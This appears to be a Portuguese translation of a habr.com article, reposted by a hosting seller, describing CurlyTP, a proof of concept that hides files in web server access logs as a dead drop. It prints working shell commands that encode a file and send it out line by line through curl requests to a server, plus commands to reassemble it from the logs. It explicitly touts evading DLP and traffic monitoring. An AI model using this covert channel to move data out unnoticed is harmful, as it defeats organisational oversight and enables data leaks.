Troca de mensagens secretas através de registros de servidor

De acordo com a definição da Wikipédia, um ponto de entrega (dead drop) é uma ferramenta de conspiração utilizada para troca de informações ou objetos entre pessoas que usam um local secreto. A ideia é que as pessoas nunca se encontram, mas trocam informações, mantendo a segurança operacional.

O ponto de entrega não deve chamar atenção. Por isso, no mundo offline, muitas vezes são usados objetos discretos: um tijolo solto na parede, um livro de biblioteca ou um ocos na árvore.

Na internet, existem muitas ferramentas para criptografia e anonimização, mas o simples fato de usá-las chama atenção. Além disso, elas podem ser bloqueadas em nível corporativo ou governamental. O que fazer?

O desenvolvedor Ryan Flowers sugeriu uma opção interessante — usar qualquer servidor web como ponto de entrega.Se pensarmos, o que faz um servidor web? Ele recebe solicitações, entrega arquivos e registra logs. Ele registra todos os pedidos, até mesmo os incorretos.!

Portanto, qualquer servidor web permite salvar praticamente qualquer mensagem no log. Flowers pensou em como usar isso.

Ele propõe a seguinte ideia:

  1. Pegamos um arquivo de texto (mensagem secreta) e calculamos o hash (md5sum).
  2. Codificamos isso (gzip+uuencode).
  3. Gravamos no log fazendo um pedido deliberadamente incorreto ao servidor.

Local:
[root@local ~]# md5sum g.txt
a8be1b6b67615307e6af8529c2f356c4 g.txt

[root@local ~]# gzip g.txt
[root@local ~]# uuencode g.txt > g.txt.uue
[root@local ~]# IFS=$'n' ;for x in `cat g.txt.uue| sed 's/ /+=+/g'` ; do echo curl -s "http://domain.com?transfer?g.txt.uue?$x" ;done | sh

Para ler o arquivo, deve-se realizar essas operações na ordem inversa: decodificar e descompactar o arquivo, verificar o hash (o hash pode ser enviado com segurança por canais abertos).

Os espaços são substituídos por =+=, para que não haja espaços no endereço. O programa, que o autor chamou de CurlyTP, utiliza codificação base64, como em anexos de email. O pedido é feito com a palavra-chave ?transfer?, para que o destinatário possa encontrá-lo facilmente nos logs.

O que vemos nos logs nesse caso?

1.2.3.4 - - [22/Aug/2019:21:12:00 -0400] "GET /?transfer?g.gz.uue?begin-base64=+=644=+=g.gz.uue HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:01 -0400] "GET /?transfer?g.gz.uue?H4sICLxRC1sAA2dpYnNvbi50eHQA7Z1dU9s4FIbv8yt0w+wNpISEdstdgOne HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:03 -0400] "GET /?transfer?g.gz.uue?sDvdDW0vmWNZiQWy5JXkZMyv32MnAVNgQZCOnfhkhhkY61vv8+rDijgFfpNn HTTP/1.1" 200 4050 "-" "curl/7.29.0"

Como já mencionado, para obter a mensagem secreta, é preciso realizar as operações na ordem inversa:

Máquina remota

[root@server /home/domain/logs]# grep transfer access_log | grep 21:12 | awk '{ print $7 }' | cut -d? -f4 | sed 's/=+=/ /g' > g.txt.gz.uue
[root@server /home/domain/logs]# uudecode g.txt.gz.uue

[root@server /home/domain/logs]# mv g.txt.gz.uue g.txt.gz
[root@server /home/domain/logs]# gunzip g.txt.gz
[root@server /home/domain/logs]# md5sum g
a8be1b6b67615307e6af8529c2f356c4 g

O processo é facilmente automatizável. O md5sum confere, e o conteúdo do arquivo confirma que tudo foi decodificado corretamente.

O método é muito simples. "O objetivo deste exercício é apenas provar que arquivos podem ser transmitidos por meio de pequenos e inofensivos pedidos web, e isso funciona em qualquer servidor web com logs de texto comuns. Na essência, cada servidor web é um esconderijo!", escreve Flowers.

Claro, o método só funciona se o destinatário tiver acesso aos logs do servidor. Mas esse acesso é fornecido, por exemplo, por muitos provedores de hospedagem.

Como usar isso?

Ryan Flowers afirma que ele não é especialista em segurança da informação e não vai elaborar uma lista de possíveis aplicações do CurlyTP. Para ele, é apenas uma prova de conceito de que ferramentas comuns que vemos diariamente podem ser usadas de maneira não convencional.

Na verdade, esse método tem várias vantagens sobre outros "esconderijos" de servidor, como Digital Dead Drop ou PirateBox: ele não requer configurações especiais do lado do servidor ou protocolos específicos — e não levantará suspeitas para aqueles que monitoram o tráfego. É improvável que o SORM ou o sistema DLP escaneiem URLs em busca de arquivos de texto compactados.

Esse é um dos modos de transmissão de mensagens através de arquivos de serviço. Podemos lembrar como algumas empresas avançadas de antigamente colocavam vagas para desenvolvedores nos cabeçalhos HTTP ou no código das páginas HTML.

Troca de mensagens secretas através de registros de servidor

A ideia era que esses "ovos de Páscoa" fossem vistos apenas por desenvolvedores web, uma vez que uma pessoa normal não passaria o tempo examinando cabeçalhos ou código HTML.

Troca de mensagens secretas através de registros de servidor

Fonte: habr.com

Compre hospedagem confiável para sites com proteção contra DDoS, servidores VPS VDS 🔥 Compre hospedagem confiável para sites com proteção contra DDoS, servidores VPS VDS | ProHoster